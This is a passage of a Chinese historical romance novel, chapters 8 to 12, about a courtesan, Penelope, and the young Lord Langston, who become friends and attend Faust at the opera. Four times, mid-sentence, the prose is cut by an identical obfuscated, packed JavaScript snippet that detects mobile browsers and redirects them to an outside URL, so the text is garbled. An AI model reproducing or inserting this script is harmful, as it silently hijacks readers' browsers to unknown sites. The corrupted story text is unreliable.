它们实在太漂亮了，漂亮得她几乎有些受宠若惊于朗斯通勋爵的殷勤，她多么希望自己真的可以留下这份珍贵的礼物，但她还是不想鼓励他什么。 她讨厌他看起来就好像真的只是很笨拙，像她这样阅历丰富的老女人总是容易迷恋上这种看上去又笨拙又真挚的年轻人，各种各样的例子太多了，可它们的结果却往往令人唏嘘。 她会因为他而重新变得年轻的，就仿佛自己仍是当年那个对爱情抱有期望的女孩，可当某一天，他从短暂的吸引中清醒过来，他会骂她是个老巫婆，并为了另一个年龄只有她一半的女人毫不留情地抛弃她，毫无疑问，那一定会让她去掉半条命。 她不能冒这个险。 她把耳坠重新放回了盒子里。 她不能接受它，即便这对一个交际花而言再愚蠢不过，她的同行们若是知道了一定会疯狂嘲笑她。 如果，如果他年纪更大一点就好了，或者她再年轻一点，那就算只是一段注定以痛苦告终的短暂鬼混，她也完全可以摸着她得到的珠宝恢复过来。 她咬紧牙关，看见镜子里的自己眼睛因遗憾而泛红。 然后，她扭过头去，快步穿过房间，走向她的写字台，写了一封措辞委婉得体的回绝信，随后，她又按铃想要叫来她的管家。 可就在这时，门铃又响了。 很快，她就听到了一阵敲门声，当管家打开门时，她只能把她的信放下，站了起来，面对未知的一切。 “朗斯通勋爵，女爵。”她的管家通报道。 面对这个男人的突然造访，佩内洛普完全惊呆了。 好一会儿，她才恢复了说话的能力，并扬起一个得体的微笑：“多么令人意外啊，朗斯通勋爵。” 这是一句大实话，他的礼物前脚才刚到，他自己后脚就亲自过来了，多么诡异啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333947|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他为什么不直接亲自拿过来算了呢？至少显得比较有诚意。 克里斯蒂安显然有些不安，他轻咳了一声，道：“我希望我的礼物已经送到了。” 他原本确实只想着让珠宝店给她送过去就可以了，可他又实在按捺不住，他必须亲自来一趟，向她好好道歉。 他希望他真的可以做到这一点，而不是再次把一切搞砸。 “是的。”佩内洛普努力让自己露出了一个正常的微笑，“我正准备退回去，我很抱歉。” “你不喜欢吗？我只是觉得，它们会很适合搭配你的项链，那条项链很美。” 他紧张地说着，手中的文明杖从左手移到了右手，又从右手移到了左手。 “我很喜欢，那幅画非常可爱，而这对耳环也真的很美……” “那你为什么不能留下它们呢？” “朗斯通勋爵——” 她才开口，克里斯蒂安就再次打断了她的话：“我叫克里斯蒂安。” 她也不准备去跟他犟什么，乖乖地改口：“克里斯蒂安。” 然后，她立刻便继续她要说的话：“这太昂贵了，我不能收下。” 克里斯蒂安颇为意外地挑了挑眉：“你根本不必在乎它的价格，佩内洛普，价格对我来说根本不值一提。” “可是我很在乎，爵……克里斯蒂安。”她道，“就算你非常富有，也不代表我就可以轻率地收下你送的贵重礼物。” 克里斯蒂安犹豫了一下，问：“它的价格并不是真正的原因，对吗？” 然后，也不等她回答什么，他就又上前一步，自顾自地开口：“如果我只是随意送你一盒点心，一束花，你也不会接受的，对吗？” 佩内洛普的呼吸微微一滞。 他离她太近了，近到她能闻到他身上淡淡的古龙水味，近到她能看清他眼底那抹隐忍的炽热。 她知道，这个男人估计不是那种随便给女人送礼物的花花公子。她甚至能想象出他坐在珠宝店里，认真地从一个个托盘里挑选着最合适的宝石，想着它们该如何衬托她的美的样子。 毫无疑问，这个念头让她的心脏跳得更快了几分。 “佩内洛普。”在她的沉默中，克里斯蒂安低声唤她的名字，语气里带着她无法忽视的认真。 “我想，我知道真正的原因。” 佩内洛普的心猛然一紧。 她屏住呼吸，声音微微发颤：“那你觉得真正的原因是什么呢？” 9. Chapter 9 “真正的原因是你已经开始讨厌我了，我确实做了一大堆蠢事，我把你气坏了，让你无法接受我的道歉。” 说到这，他垂下了头：“我可能也确实不懂得该如何道歉，但只要你愿意原谅我，我怎么样都行，不要讨厌我。” 佩内洛普顿时有些傻眼了。 她不明白，这个人好像总能让她出乎预料，他怎么会偏偏这么想呢？ 她或许确实生过他的气，但根源都是因为他对她的强烈吸引力，她只怕自己会太容易沦陷在他的清澈眼睛里，无法自拔。 “克里斯蒂安。”她终于自然地脱口而出他的名字，“我从没有讨厌过你。” “那你为什么不愿意收下我的礼物？” 佩内洛普简直不知道该说什么。她一直是个能言善辩的人，她应付过太多太多难缠的男人，可在这样的时候，她发现她的这项技能消失了。 “女人不能随便收男人的礼物。”她向他挑明了道，“如果她是待嫁的少女，这会导致她名节有损，对她的婚姻前景造成可怕打击，而如果，如果她是我这样的女人，这代表了交易，代表了她同意与这个男人持续发展，可我暂且还不打算与任何男人发展关系。” 这其实是非常浅显易懂的事。可克里斯蒂安就算平日里装得再像模像样，也毕竟是根本没有经历过这种关系，他什么也没有想，就只是想送她一份礼物道歉，又记得她的项链很漂亮。 “我知道，我的行为可能导致误解。”克里斯蒂安尴尬道，“但我并不准备追求你，让你成为我的情妇。” 终于还是听到了这种话，佩内洛普本能地感到一阵呼吸不畅。她甚至忍不住嘲笑自己，不仅自作多情，还有着近乎愚蠢的坦率，她在自取其辱。 她想说点什么，她得挽救这一切，她不能让自己如此丢脸，可此时此刻，她的头脑里就只有一团乱麻。 然后，他再次开口了：“如果我当真提议向你提供保护，你会同意吗？” 佩内洛普意识到这是个绝佳的机会，她立刻摇了摇头：“正如我所说，我暂且只想好好休息，我不会同意。” 接下来是死一般的沉默，克里斯蒂安没有说话，于是佩内洛普也不知道自己还能继续说些什么，她只能等待，一边等待一边自然而然地走了神。 她不知道自己走神了多久，直到克里斯蒂安的声音终于再次响起，将她从另一个世界唤了回来。 “我确实想要成为你的朋友。”他说，“佩内洛普，我们为什么就不能仅仅是成为朋友呢？” 这就更出人意料了，佩内洛普怎么也想不到，他之前随口说的话竟然是真心的。朋友？男人从来不会说做她的朋友，他们要么看不起她，要么想爬上她的床，就算是已经与她分手的情人，也就只有寥寥几位还与她保持联系，几乎像是她的好友。 “为什么呢？为什么你这么执着于我？为什么偏偏一定要我做你的朋友？我们甚至都不算认识了彼此。” 他的神情中闪过一丝慌乱，佩内洛普捕捉到了它，有些意外。 明明是他一直试图纠缠她，但她却总觉得他貌似与她抱着差不多的想法。他有些害怕会与她太过接近，就好像一个她这样不值一提的女人还能威胁到他什么一样。 他再次沉默了好一会儿才轻轻开口：“我欣赏你，佩内洛普，发自身心。” 佩内洛普的心微微一动，然后她很快就意识到，自己竟然真的正在考虑。 男性朋友？实在太奇怪了！ 可在他真挚的目光中，她犹豫再三，最终还是选择点了点头，轻轻开口：“我会非常珍惜这份友谊，以及你送来的如此可爱的道歉。” “那……那真是太好了。” 克里斯蒂安想，这就是他唯一想要的结果，一个最完美的结果。他们会成为朋友，他会尊重他的朋友，同时，以他与她的名声，毫无疑问，只要他们偶尔出现在一起，整个社交界都会认为他们有了暧昧关系，他不会因为长期单身被传流言，而每个母亲也都会暂且按兵不动。 当然了，最重要的是，佩内洛普不会疑惑他为什么不愿意碰她。 碰她…… 真该死，这个念头根本就不该出现在他的脑海里，尤其他现在还正在她的房子里，他甚至开始本能地幻想起了一大堆更过分的事情…… 他脑海中的画面让他喉咙发紧，他不得不亲自攻击自己，他是一个残缺不全的男人，还是一个百分百的处男，他甚至都没有亲吻过任何女孩，更别提别的了，如果他真胆敢引诱她——一个百分百的老手，那将成为一个让他这辈子都抬不起头来的笑话。 为了掩盖自己的情绪，他掏出了自己的怀表看了看，也总算想起了他还要与费思、多萝西见面，他坚持在汉普郡的朗斯通庄园为多萝西办婚礼，而费思帮助他说服了她。 “你有约吗？”佩内洛普问。 克里斯蒂安点点头：“我与……我的妹妹们有约。” 说完，他犹豫了一下，还是忍不住询问她：“你……你愿意明晚与我一起看歌剧吗？我一直很喜欢《浮士德》。” 话才出口，他立刻就开始后悔了，他忘记了将要扮演玛格丽特的就是玛格丽塔·贝罗奇奥，这是她的拿手好戏，就连女王都对她的表演赞叹不已。 他正思索着，应该怎么将邀约收回，她已经开口了，以一种几乎是不可思议的温柔语调。 “我非常愿意。” 她知道《浮士德》的故事——一个男人为了青春和激情，将灵魂出卖给了魔鬼，最终落得悲惨的结局。 她忍不住在心底自嘲，一个关于青春与代价的故事，倒其实很适合她。 克里斯蒂安松了一口气。 “我会在七点过来接你。”他说。 他很明白，他现在必须得告辞了。他颇为不舍地上前握住了她伸出的手，向她鞠了一躬，行了一个再合适不过的吻手礼。 他完全没有碰到她的手背，但她的香味还是扑进了他的鼻腔，在他的皮肤上浮动。 他强行令自己离开了这一切，快速地向她点了点头，便头也不回地冲出了她的房子。 他钻进自己的马车里，把手中的文明杖随意地扔到一边，就忍不住想笑，为他的愚蠢。 他闭上眼睛，脑海中全是佩内洛普的身影——她略带惊讶的眼神，她唇角那抹不易察觉的微笑，甚至是她语调中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333948|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一丝温柔。 他真是疯了！再一次，他一见到她就开始犯蠢，完全让一切脱轨了。 他到底在做什么？ 本来，他只是想道歉，只是想缓和一下他们之间的关系，仅此而已。但现在，他居然邀请她一起去看歌剧，而且她还答应了！ 他本该小心翼翼地维持他们之间的距离，避免让自己越陷越深，可是，他却在不知不觉间做了完全相反的事。 克里斯蒂安忍不住低声咒骂了一句。他一向以理智自持，可一遇到佩内洛普，他所有的冷静与自制都变成了可笑的空谈。他并不是没有遇到过美丽的女人，可她——她的智慧、她的傲然、她的脆弱与坚强交织出的独特魅力，让他无法抗拒。 他用力揉了揉眉心，想让自己冷静下来。可心跳的节奏依然紊乱，他的掌心甚至有些微微出汗。 他想起她的眼神——在他说出“朋友”时，那一瞬间的困惑与探究，她的目光仿佛在试图透视他的灵魂，看穿他真正的意图。 朋友…… “你的脑子就没有清醒的时候了吗？”他忍不住自言自语，“你何必如此在意外人的看法，总要营造一场又一场闹剧呢？这个世界上多的是各种奇怪的人，人人都把他们当异类看，但他们从不关心这些，你为什么不能是其中之一？你根本不必这么累！真可笑，你正准备跟你最迷恋的女人做朋友，你会玩脱的，克里斯蒂安，你肯定会玩脱……” * 克里斯蒂安离开后，佩内洛普站在原地，盯着门口的方向，久久未动。 她甚至不确定自己刚才是否做出了正确的决定。 朋友？ 她轻轻念了一遍这个词，心底涌上一抹无奈的苦笑。 她当然知道，男女之间所谓的“友谊”往往只是一层薄薄的帷幕，只需稍一触碰，便会显露出掩藏在其下的真实情感。 他们真的能做成普通朋友吗？她完全不知道，但她毫不怀疑，除了他们本人，没有人会觉得他们就只是朋友。 这对一个交际花而言其实很不利。 结果，她还是以一种近乎荒谬的轻率点头答应了。 她走到桌旁，缓缓坐下，拿起茶杯轻轻抿了一口红茶，试图平复自己的心绪。然而，她的手指却无意识地在杯沿上摩挲着，脑海中浮现的全是克里斯蒂安的模样。 他的声音，他的眼神，他吻手礼时的温柔姿态…… 她忽然有些恼怒地放下茶杯。 她讨厌自己明明一把年纪了，却还能为了一个男人的一举一动而心绪不宁的样子。 可是，克里斯蒂安他真的就只是一个普通的男人吗？ 不，他太认真，太专注，也太难以忽视。 他的执着让她措手不及，他的真诚让她心生动摇，而他的年轻……让她惴惴不安。 与这个男人相处时，她究竟该怎么去安心呢？ 她害怕自己会沉溺于他们你来我往的交锋，害怕自己可能会再次受伤，害怕某一天，当他终于厌倦了这场荒唐的朋友游戏，他会毫不留情离开，而她将无可避免地成为一个笑柄。 想到这里，她不禁闭上了眼睛，长长地叹了口气。 10. Chapter 10 克里斯蒂安几乎一直心不在焉，直到他感觉到有人在他眼前挥手。他眨了眨眼，回神，便看见费思正不悦地看着他。 费思不悦地问他：“克里斯，你怎么回事？你究竟有没有在听我说话？” “我当然在听。”他笑了笑，“其实一切你们做主就好了，不必问我的意见。” 费思道：“可真是典型的你的作风，当年我结婚的时候你也是这样。” “我也确实是一窍不通啊。” “好吧。”费思无奈地叹了一口气。 “你得告诉我，究竟是什么让你魂不守舍？是和哪个女人有关吗？你觉得你需要一个新的情人了？还是说，你终于决定开始考虑婚姻了？如今你恢复单身，家里有待嫁女儿的太太们估计都快兴奋死了，她们马上就会像秃鹫一样围在你身边，让你苦不堪言。” “我的天哪！”克里斯蒂安看了看妹妹费思，又看了看一边眼神飘忽的多萝西，然后又看回了费思。 “你永远也不该跟我说出这种话来，费思，你的教养呢？” “为什么？”费思翻了一个白眼，“多蒂都不在意，你又在这里在意什么呢？我很关心你，克里斯，我希望你能得到快乐，多蒂肯定也一样。说实话，我至今都还想不通你们之间的感情究竟是怎么一回事，你们看起来非常诡异，诡异得让我不安，你们还总是对我遮遮掩掩的。” 她的声音显示出她其实非常不满，但他们都经历了太多，她至今都心有余悸，也不想打破砂锅问到底，以免会不小心伤害到这两个她最在乎的人。 “我可以向你保证，不管现在还是将来我都不会考虑结婚。”克里斯蒂安严厉地开口，“我也希望我们可以停止谈论我的私事，别忘了你现在可是黑斯廷斯侯爵夫人，你得学会有分寸一点。” 说完，他就一个人走到了阳台上去，并很快开始后悔自己对妹妹说话的语气是否有点过激。 但当他听见一阵脚步声自身后传来，他还是忍不住烦躁道：“天呐，费思，我就真的不能单独待一会儿吗？” “我很抱歉打扰了你。”多萝西道。 克里斯蒂安诧异地转过身，尴尬道：“抱歉，多蒂，我没想到是你。我说的是真的，你的婚礼你可以做主一切，不必事事都一定要问过我。” 可多萝西却还是有些不安地开口道：“事实上，我仍然觉得这不是好主意。你已经对我太慷慨了，你从来都没有责怪过我，你甚至还帮我们弄来了一张特别许可证，让我们可以避免受到任何打扰，尽快结婚。我可能这辈子都无法报答你了，有时候我真希望我没有爱上亚伦，那样我就可以继续帮助你。” 克里斯蒂安无奈道：“你就总是要这么想，我们是从小一起长大的不是吗？你几乎就像是我的另外一个妹妹，你从来都不必和我如此见外。就把我当做你的亲兄弟看待吧，别一直这样别别扭扭的让我伤心，好不好？” 多萝西叹了一口气，道：“你知道让你与费思伤心是我最不愿意做的事情，谢谢你，克里斯。” “我真的很高兴可以送你出嫁。” 她微笑着，犹豫了一下，然后还是慢慢开口：“我希望也能看到你结婚。” 克里斯蒂安顿感头疼：“就当我求你们了，多关心关心别的吧，比如穷人，还有无依无靠的孤儿，那才是一名淑女应有的美德。” “可你总归是要结婚的，克里斯，你背负着这个责任。” “丹尼尔可以是我的继承人，正好这也是爸爸一直所期望的，他一直都偏爱他的小侄子。” 多萝西立刻道：“不，你明知道丹尼尔有多糟糕的，他连你的一根头发都比不上。我毫不怀疑他现在每天都在咒你死，因为你上次拒绝替他还赌债。他也不想想，你都替他还了多少次赌债了。” “我想他现在已经得到教训了，他会慢慢意识到错误并学会改变的。” “不，他才不会呢。”多萝西坚定道，“你也应该避免让他有这个最终得意的时候，我几乎都不愿想象那个场景。” 见她这样，克里斯蒂安反而笑了：“这可不是一位新娘该有的情绪，多蒂。” 多萝西脸一红，也明白自己确实显得有些过于激动了，甚至都忘记了过来找他的初衷。 “我听费思说你最近很关注佩内洛普·考德威尔女爵，你对她很有好感吗？只是，我们都在想，她貌似并不是一位绅士理想的结婚对象，而且，她的年龄可能也比你大了不少……” 她的话才说到一半，便收到了克里斯蒂安严厉的眼神，她不得不乖乖地闭上了嘴。 “我想你都不认识她，你不应该对一个陌生人妄下断语，还有费思也是，这丫头整天就知道到处听八卦，然后散播谣言。” 多萝西微红了脸低下了头，固执道：“我只是希望你谨慎对待自己的感情，也许佩内洛普女爵已经把你当成了新的征服目标。我确实并不认识她，但费思和我谈起过她。显然，她是一位非常著名的美女，也很有……阅历，而你正好相反。” 克里斯蒂安呆呆地看着她。 即便他完全可以理解她在即将离开前对他可能会被一个老练的交际花玩弄的担忧，听到这种话，他也还是绷不住笑了出来。 “你笑什么？”她皱着眉问。 克里斯蒂安看着她一脸不解，笑得更大声了。 “就在今天上午，她还使尽浑身解数地想要拒绝与我有任何联系。” 想到这里，他又有些笑不出来了。 “她根本没打算征服我，她对我不感兴趣，我在她面前也总是显得很愚蠢。” “那可不一定，也许她只是很擅长欲擒故纵呢？你是一位非常富有的伯爵，还非常英俊。” 说出这个词，她不禁又有点想笑。毕竟他们是一起长大的，她根本无法给他贴上什么有吸引力的异性标签。 “总而言之，很多女人会对你感兴趣。我希望你能愿意尝试着恋爱，但你一定得学会小心，爱情是这世上最危险的游戏，而一位她那样的女士绝对是个中高手。” “好了。”克里斯蒂安还是对多萝西用上了警告般的语气，“我不需要爱情，我对我的单身生活非常满意，而且，我认为佩内洛普女爵是一位值得尊重的女士，我不允许你再用这种口气提到她，我现在与她是朋友。” 为他难得的警告语气，多萝西本还有几分不忿，但很快，那份不忿就开始被极度的惊讶所取代。 她抬起了头望着他的眼睛，神色也慢慢变得复杂起来，像是喜悦、欣慰，以及依旧存在着的一点点担忧。 “天呐，你竟然是真心喜欢她……” 听到她这么说，克里斯蒂安有一瞬间的头脑空白，但他还是很快就以一种随意的口气赞同道：“我当然喜欢她，我为什么要与一个我一点也不喜欢的人成为朋友呢？” 然后马上，他又继续道：“我想我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333949|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们应该回到屋里去了，我们不能就这么一直晾着费思，不然她又要开始不停地抱怨了。” 他一边说，一边就开始想要往回走。 在他身后，多萝西发出一声轻笑：“你知不知道你现在看起来是什么样子？你看起来就像一个情窦初开的男孩，甚至羞于承认自己究竟有多喜欢她。不对，你貌似确实就是，你是一个情窦初开的男人！” 说到这里，她停顿了一下，语气也柔和了下来：“我真心希望她是个好人，克里斯。我希望她可以配得上你这份珍贵的感情。” 他几乎是无奈道：“就像我之前说的，不管是费思还是你，都永远不许再谈论我的私事了。” 说完，他就逃跑一般地离开了阳台，无法再辩驳半个字。 他很清楚，多萝西说的全都是真的，他现在就是单纯的觉得难堪，他的感情居然就这么难以隐藏。 他非常非常喜欢那个女人，他渴望与她在一起，永远都不要分开，但那无论如何都是不可能的。他根本配不上她，这段感情注定就只能埋在心底。 当他们回到屋里时，果不其然看见费思正坐在沙发上摆弄着自己的手套，一脸的不耐烦。 “你们两个究竟干嘛去了？我还以为你们私奔了。”她没好气地抱怨。 “真抱歉。”克里斯蒂安故作轻松地耸了耸肩，“我们只是讨论了一点婚礼相关的事情，多蒂有些犹豫，我劝她别想太多。” 费思哼了一声，半信半疑地看了他们一眼，但也没再追问，而是站起身拍拍裙子：“不管你们刚刚都说了什么，我只想提醒你们，这场婚礼一定要完美。你知道我对细节有多在意。” “我想，你对所有的事情都很在意。”克里斯蒂安低声嘀咕了一句。 费思却听得一清二楚，立刻意有所指地回击道：“如果不是我‘很在意’，你早就被哪个肤浅又贪婪的女人骗走了你所有的财产和名誉。” “现在连我未来可能的财务状况都要管理了？”他笑道，“我是不是该感到幸运，拥有这样一位无所不管的妹妹？” “你确实应该感到幸运。”费思理直气壮地回答。 克里斯蒂安决定不再参与这场注定输掉的争执。他走到窗边，盯着外头昏暗的天光，脑海里却再度浮现佩内洛普的模样。她的眼睛，她倔强又疏离的神情，还有当他行吻手礼时所感受到的香气。他不禁抬起手，指尖轻轻触碰唇角——仿佛那一刻尚未结束。 “喂，你又走神了。”费思的声音响起。 他回过头：“我没事。” “我一点也不信你。”她挑眉，“你从不是个擅长掩饰情绪的人。” “所以你们才都想来管我的私事。”他摇头，叹气，“我只是在思考一些事情罢了。” 费思狐疑地盯着他片刻，随即还是决定放过他算了，然后她转向多萝西：“好了，既然你们全部都已经谈妥了，我也该走了。我还要去和花匠吵架，他今天竟然试图说服我在花坛里种黄色郁金香！” “可真是个疯子。”多萝西十年如一日地附和她的好友道。 “的确。”费思抓起手套，“我回头再来找你们。克里斯，我警告你，如果你明天还是这样魂不守舍，我就要怀疑你是不是病了，你这个人啊，一直很让人操心。” “我一定会正常得让你失望。”克里斯蒂安淡淡道。 费思满意地哼了一声，便施施然离开了。 11. Chapter 11 克里斯蒂安一辈子都没像今天这样喜欢过歌剧。 即便他的心思根本不在舞台上，而是一直在偷偷地看她。 佩内洛普对此并非无知无觉，在第三次不慎接触到他的目光后，她终于确定了这绝非偶然，他就是像从前一样有意为之。 佩内洛普微微一笑，终于主动开口，与克里斯蒂安谈起了舞台上的剧目：“浮士德因为见到了美丽的玛格丽特，便坚定了与魔鬼做交易的心。你曾经也思考过这个问题吗？你会为了什么考虑向魔鬼出卖灵魂？” 克里斯蒂安微微一怔，随即低声道：“我好像从来没想过。” “也许是因为你应有尽有，就算是魔鬼也无法带给你更多了。”佩内洛普露出了然的笑。 那是错误的看法，克里斯蒂安想。 外人看来，他光鲜亮丽，出身高贵，衣食无忧，他最为在意的残缺也被他刻意营造的魅力和裁剪得体的衣物掩盖得天衣无缝。然而事实就是事实，他比一个最普通的男人还要不如。 “不。”他缓缓开口，“我只是不相信这个世上真的有魔鬼，更何谈跟魔鬼做交易？事实上，每个人都存在自己的烦恼，这些烦恼或许一辈子都无法解决，也没有任何人能帮得了忙。” 佩内洛普笑了：“从你的名字来看，可不像是会不相信这些的人。” 克里斯蒂安——基督的信徒。 可是，他不相信有魔鬼，又如何能相信基督呢？毕竟福音书上记载着，基督曾多次驱魔。 “我的母亲很虔诚。”他的声音低了些许，仿佛被拉回了某个遥远的记忆，“在她一生中，她从未做过任何坏事。我受到她的影响，曾经也很虔诚。所以，后来当我看到她失去了她丈夫的心，而且长病不起即将死去时，我自然而然地就会去向天上那个虚幻的影子祈祷。我用尽了我全部的真诚，我承诺我会永远爱祂、敬拜祂，只要祂愿意放过她，让她好起来。” 佩内洛普脸上的笑容慢慢地消失了，她已经猜到了最后的结果是什么。 她情不自禁地握住了他的手，道：“有时候答案是否定的，对吗？” 她的手很凉，这个认知让他几乎都没有听清她在说什么。 他控制住想要为她暖手的强烈冲动，胡乱地点了点头：“她一直相信那些谎言，直到最后一刻。那时，她瘦成了一把骨头，整个人都神志不清了，却仍能微笑着，期待自己能进入天堂，被拉着管风琴的天使们围绕。可是，如果上帝真的爱她，又为什么要让如此虔诚的她失去丈夫的爱，还要受尽病痛折磨而死？尤其，她还那么舍不得我与我妹妹，她本可以继续保护我们的。” 保护？ 佩内洛普捕捉到了这个有些奇怪的用词，他们出身高贵，家境富裕，当时也没有失去父亲，还能需要一些什么样的保护？ 可她知道有些东西不该多问。 于是他继续道：“上帝是理性的敌人，佩内洛普。信仰只是一场幻梦，我的母亲是一个最好的人，可她的结局悲惨可怜，倒是那些最糟的人反而过得很好，难道不是吗？从来没有惩罚，从来都没有。” 佩内洛普仍是不希望他如此悲观，她想了想，道：“也许这是魔鬼的诡计，他让恶人陷在罪恶的快乐中，离上帝越来越远，直到有一天，窄门永远地向他们关闭了。” 克里斯蒂安道：“这样倒显得魔鬼确实还不错，当他想要得到你的灵魂时，他能提供实际的快乐，而不是明明全知全能，也依旧永远只是在天上冷眼看着你，考验你。” 说完，他才意识到自己究竟都在说些什么。就在这短短的几分钟时间里，他吐露的心声比过去二十五年还多。 “我希望我这些话没有太冒犯你。” 毕竟他也不知道她是否有信仰。 佩内洛普摇了摇头，道：“我尊重不同的观点。” 他们让注意力回到了舞台上。此刻美丽的贝罗奇奥小姐正握着一把镜子，一边欣赏自己的美貌，一边唱着那首著名的咏叹调。 佩内洛普原本以为自己会根本看不下去“情敌”的表演，可事实上，她完全沉浸在了歌声里。玛格丽塔·贝罗奇奥不愧十六岁时便已是米兰斯卡拉剧院的首席女高音，这女孩确实有这个资本，她的歌声几乎来自天堂。 可惜，美妙的时光总是短暂。只是转眼的功夫，第三幕开始，玛格丽特便已被浮士德抛弃。她怀着身孕，正一边纺纱一边唱着哀歌。 克里斯蒂安忍不住轻轻问：“你觉不觉得玛格丽特过于天真了？佩内洛普，你又如何看待浮士德的选择？他就这么轻易地抛弃了她，这个曾让他坚定了要与魔鬼做交易的心的女孩。” “不能说是选择，这是男人的惯性。”佩内洛普道，“而玛格丽特，我想对于这一切，她也并非真的就无知无觉。所有女人都渴望被看见，于是，当她看到魔鬼送来的华丽珠宝时，她情不自禁地忽略掉了上面强烈的硫磺味。” 克里斯蒂安若有所思地看着她，缓缓道：“最危险的东西，总是会被包装在最精美的容器里，就像……” 他的比喻还没说完，佩内洛普已经微笑着补充道：“就像你的道歉也被装在铺着天鹅绒的盒子里？” 听到她这么说，克里斯蒂安微微红了脸，扭过头去，也不禁笑了。 当歌剧终于谢幕，皇家歌剧院的楼梯挤满了人，克里斯蒂安十分小心地引导着佩内洛普离开包厢向下走。 对他来说，这几个小时的时光简直美妙得过分。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333950|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在一起，他可以一直看着她美丽的侧脸，欣赏她享受演出的样子，并时不时得到她瞥过来的目光，与几句关于歌剧的讨论。 她是如此机敏风趣，让一辈子都一惊一乍的他整个人都放松了下来。他甚至还感到自己正在与她变得越来越亲密，他们几乎真的像是一对相识多年的老友。 他正胡思乱想着，便感到身边出现了一阵忙乱。 克里斯蒂安唯恐佩内洛普会被挤到，把她仔细地保护在了自己的怀抱里，然后很快，他意识到她的身体开始变得僵硬。 “怎么……” 他忍不住关切地出言询问，可还没问完，便已经明白了过来。 他看到了不远处有一位年长的绅士正厌恶地盯着她看。 他立刻就认出了对方是谁，准男爵保罗·威尔莫特爵士。而陪在保罗爵士身边的，是威尔莫特夫人，与今年才刚刚步入社交界的米娜·威尔莫特小姐。 意识到克里斯蒂安的目光后，保罗爵士露出尴尬的神情，立刻把头扭到了一边，没有再看他们一眼。 “你还好吗？”克里斯蒂安关切地问。 佩内洛普声音微颤道：“我想这里太闷了，我有一点头疼了。” 克里斯蒂安知道她在撒谎，实在太明显了，是保罗爵士使她感到痛苦，这让他不禁有些愤怒，却又根本不能对她说什么。毕竟他并不清楚保罗爵士与她究竟是什么关系，有些猜测的可能性再大，也不是能够随意出口的。 克里斯蒂安只能在心里暗骂保罗爵士的可耻。这家伙也许曾经在背地里尽情地享受了她的柔情，可如今，当他带着妻女在正式的场合见了她，却理所当然地摆出了绅士的虚伪架子，堂而皇之地轻视她。 他究竟是凭什么？ 他们一起走到楼下，克里斯蒂安为她取回了披肩并亲自为她披上。 外面的空气很温暖，这让他不禁松了一口气。他仍然记得她的手很凉，他可不希望她会觉得冷。 只是，玛格丽塔·贝罗奇奥毕竟是享有盛名的歌剧明星，她的剧不缺观众，外面停留的马车可还真是不少。 他左右看了看，没有看到自己的马车与马车夫，于是，他只能请佩内洛普暂且留在原地，让他去找一找。 他唯恐会让女士久等，大步流星地沿着人行道走着，几乎都像是在跑步。 好不容易，他才总算看到了自己的马车，与正看着人群找寻雇主的车夫。 他对马车夫示意了一下，又赶忙用同样的速度折返回去找佩内洛普。 当他看到她安然无恙的背影时，他松了口气，正准备开口叫她，却看到她的对面正站着一个他这辈子最不愿意看到的人。 该死的乔治·圣-约翰。 12. Chapter 12 佩内洛普完全不认识他，从她那不太自在的姿势来看，她显然也觉得他有点莫名其妙的，但她多年的职业习惯还是令她选择得体地应对一位年轻绅士突兀的搭讪。 克里斯蒂安再次感到了一阵强烈的嫉妒与占有欲。 不要与圣-约翰那种货色说任何话！ 他真想这么对她说，但他知道他没有这个资格，他没资格干涉她的一切。 最终，他只是默默走到了她的身边，并对他的大学同学打了招呼：“好久不见了，圣-约翰。” 圣-约翰也装得好像他们没有什么隔阂一般，道：“确实是很久了，朗斯通，很高兴能在这里看到你。” “我真没想到你会出现在艺术的殿堂，我一直以为你不怎么能欣赏歌剧。”克里斯蒂安忍不住讥讽道。 “并非如此，我认为歌剧非常迷人。”圣-约翰道，“尤其当我还欣赏到一位可爱的女士完全沉浸其中的神情时。” 